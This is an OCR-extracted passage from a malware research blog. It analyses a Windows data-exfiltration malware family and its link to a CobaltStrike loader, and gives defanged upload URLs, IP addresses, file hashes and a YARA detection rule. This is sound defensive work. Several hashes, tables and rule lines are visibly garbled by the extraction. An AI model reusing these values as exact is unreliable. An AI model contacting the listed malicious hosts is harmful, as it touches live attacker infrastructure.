decoding function. Encoding and decoding functions are a good area of code to examine closely and to
hunt for in malware repositories. This type of function can be stable across samples and tends to be
reused by an adversary in multiple campaigns even if the capabilities of the malware are radically
different. Building a YARA rule based on this function reveals an older malware sample £ which was
blogged about by researchers at Walmart 22. The results of a retrohunt in the Titanium Platform using this
YARA rule is shown in Figure 39. The result shown in orange is a false positive. This file is a copy of one
of the other actual malware files but appears to have been modified by a researcher.
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& DataExfiltrator_Decoder tocat B cown [ rero B @1 1 0 ®0
Allrules »
File size File type
————— 1 <IMB ) PE+/Exe
e | <10MB I Unknown
5/5 Ll I < 100MB ather formats..
1 <650MB
| >=650MB
Filtered by: &P shared  private  local (@R local cloud  cloud-retro
- A Match Time Threat Name Rule Format Files Size
& o A yinga TrojanGenericML (768882610285dd3d1c174306698c5cf3d9d... DataExiltrator_Decoder PE</Exe 1 355KB =
- 2021-05-28 ' ' ) ) —
L] 04:02 UTC Win64.Trojan.GenericML  bfc0219efb60fb270ceelb7bl02afc0d4b0al2la DataExfiltrator_Decoder Unknown 1 345KB =
2021-05-28 ' ) . ) _
[ ] 03-34 UTC Win64.Trojan.Bulz 4e6342b0dal185a4331e085ee68b64f61eld... DataExfiltrator_Decoder PE+/Exe 1 195KB =
POPLOSE8 WinG4.Trojan.Generic DataExfitrator_Decader PEH/EXe 1 36KB =
2021-05-28 i ) ) ) _
L ] 0317 UTC Win64.Trojan.GenericML  424f3c281f46e4cf2350c78cfaB3aB87873e0b... Datakxfiltrator_Decader PE+/Exe 1 355KB =
1 1-50f 5items 20

Figure 39: Retrohunt Results

This sample is definitely related to the three samples analyzed here. It uses the same anti-analysis trick
as well as the same string obfuscation including the "mOrxxxx" trailing characters. Both the standard
string form as well as the stack strings are found in this sample. However, this older sample is a
CobaltStrike beacon loader rather than a data exfiltrator. The YARA rule for detecting this code overlap is
provided at the end of the blog. As opposed to earlier YARA rules that | have written, | read the advice

from Marc Ochsenmeier on Twitter about adding comments with the meaning of opcodes in YARA rules

meant for sharing 23. This rule and future rules will include the assembly as well as the bytecode strings.

In addition to this older malware sample that is definitely related, a hunt for other malware that contains
variations of the string "mOrxxxx" reveals a multitude of potentially related malware samples. These are
nearly uniformly detected as malicious. A future blog will address these additional files. The results of a
retrohunt for the full string "mOrxxxx" is shown in Figure 40.

& DataExfiltrator_mOrxxxx
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Figure 40: Full String mOrxxxx

The results of retrohunts for this string with two Xs and one X are shown in Figure 41 and 42.

530/530 ™

| |
Figure 41: Retrohunt for String with Two Xs

10,000/10,000 ™

Figure 42: Retrohunt for String with One X

Analysis of the results of these retrohunts will be the topic of a future blog post.

IOCs

Sample 1
File

Filename Input.exe

Filename v2c.exe

MD5 1010bec081572dc3bd16e26a1e37d815

SHA1 bfc0219efb60fb270ceeOb7b102afc0d4b0al21a

SHA256 dccd4ac1302ac5693875c4a4b193242cbb441b77cd918569c43fe318bcf64fe3d

Import 85ce0801668e488873e72eeb306503da
Hash

SSDEEP 768:ycscKP14scGOgEMQcanOPBbEbeFpUGC/YDR5WSs:yV3cGOqEMQcanOJFpUGC/Y9

Timestamp 2021-04-24T17:34:20Z

PDB E:\work\proj\file_sender\x64\file_sender.pdb

Magic PE32+ executable (GUI) x86-64, for MS Windows

File Type Win64 EXE

File Size 35328

First Seen 2021-04-25
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User Agent

Mozilla/5.0 (Windows NT 10.0; WOWG64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.309

Chrome/83.0.4103.122 Electron/9.3.5 Safari/537.36

URL

hxxpsl[://lfiles[.]pablotech[.]info/uploadFile.php

Hostname

files[.]Jpablotech[.]info

Domain

Name Registrar IANA ID

pablotech[.]info Hosting Concepts B.V. d/b/a Registrar.eu 1647

Sample 2
File
Filename Input.exe
Filename sender.exe
MD5 €3300ec2f31f5730970c5bb066d2f0ed
SHA1 c768882e102a5dd3d1¢c17d306698c5cfc3d9d8d5

SHA256 68af250429833d0b15d44052637caec2afbe18169fee084ee0ef4330661cce9c

Import Hash  6473877da5764bbd5a9b16892ef13b69

SSDEEP 768:zp2FXczP/cpWyB/3RtUcGOgEMIcqfz/YghUx:zp2FsTcB/UcGOqEMIcqfz/Yg4

Timestamp  2021-04-28T03:00:08Z

Magic PE32+ executable (GUI) x86-64, for MS Windows

File Type Win64 EXE

File Size 36352

First Seen 2021-05-03

User Agent
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Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.309
Chrome/83.0.4103.122 Electron/9.3.5 Safari/537.36

URL

hxxps[://lfigures[.]pablotechl.]info/uploadFile.php

Hostname

figures|[.]Jpablotech].]info

Domain

Name Registrar IANA ID

pablotech[.]info Hosting Concepts B.V. d/b/a Registrareu 1647

Sample 3
File

Filename Input.exe

Filename v2c.exe

MD5 4af8b45c9b0f73d47a499d92064b6c2e

SHA1 424f3c281f46e4cf2350c78cfa89a87873e0b994

SHA256 934c557e52bd47fa312ea4098e05781145d0b81c9dc543ef42b266813bdb05d4

Import 6473877da5764bbd5a9b16892ef13b69
Hash

SSDEEP  768:9vutX7QpBCPRp8Yh/ZYWcGOGEMUcgk9/Y7hCeUpU:K7QpJp8YFrcGOGEMUcg0/Y 71k

Timestamp 2021-05-17T20:33:40Z

Magic PE32+ executable (GUI) x86-64, for MS Windows

File Type Win64 EXE

File Size 36352

First Seen 2021-05-18

User Agent

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
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URL

hxxps[://151.161.82[.]135/uploadFile.php

IP Address

IP Owner ASN

51.161.82[.]135 OVH SAS 16276

Sample 4
File
Filename Input.exe
Filename v2.exe
MD5 7c801e3c256d2e9e1f4462fe84e44c68
SHA1 4cd9cecd1d093f290e6f8f0ad6d5e76dbedbf3d9

SHA256 a7cf0f72bb6f1e0a61fbf39e3a3a36db6540250caeef35b47fb51a8959f40984

Import Hash  9f86f12427bca134faaa21bcc0d849d3

SSDEEP 768:vkcGOgqEMccVhPO4TrASVqipOHMd6m/YFh50:ccGOgEMccV7rAZipOHA/YFT

Timestamp  2021-05-24T723:06:16Z

PDB E:\work\proj\file_sender\x64\file_sender.pdb

Magic PE32+ executable (GUI) x86-64, for MS Windows

File Type Win64 EXE

File Size 37376

First Seen 2021-06-01

User Agent

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

URL

hxxps[://]51.161.82[.]135/uploadFile.php

IP Address
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IP Owner ASN

51.161.82[.]135 OVH SAS 16276

Sample 5
File
Filename file_sender.exe
Filename sender.exe
MD5 12a7595d94e142847a04f11659ed183d
SHA1 f80a2f102ca0297d053c75e0676049dc87cb3f35

SHA256 8cfd554a936bd156c4ea29dfd54640d8f870b1ae7738c95ee258408eef0ab9e6

Import Hash  9f86f12427bca134faaa21bcc0d849d3

SSDEEP 768:sPcGOgEMccNNPayYDcfHylY2QUy2h08wx:2cGOgqEMccNEDuhY2F S84

Timestamp  2021-06-15T10:57:36Z

PDB E:\work\proj\file_sender\x64\file_sender.pdb

Magic PE32+ executable (GUI) x86-64, for MS Windows

File Type Win64 EXE

File Size 36352

First Seen 2021-06-16

User Agent

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

URL

hxxp[://]51.77.110[.]6/uploadFile.php

IP Address

IP Owner ASN

51.77.110[.]6 OVH SAS 16276

YARA Rule
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private rule WindowsPE

{
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550
}
rule DataEXxfiltrator_Decoder
{
meta:

author = "Malware Utkonos"
date = "2021-05-07"
description = "String decoding function found in data exfiltration malware."
exemplar = "dcc4ac1302ac5693875c4a4b193242¢cbb441b77cd918569¢c43fe318bcf64fe3d”
strings:
$a ={ 4489442418 // mov dword [rsp+0x18 {arg_18}], r8d
88542410 // mov byte [rsp+0x10 {arg_10}], dl
488942408 // mov qword [rsp+0x8 {arg_8}], rcx
4883ec28 // sub rsp, 0x28
8b442440 /I mov eax, dword [rsp+0x40 {arg_18}]
33d2 // xor edx, edx {0x0}
b904000000 // mov ecx, Ox4
4871 // div rex
}
condition:
WindowsPE and $a
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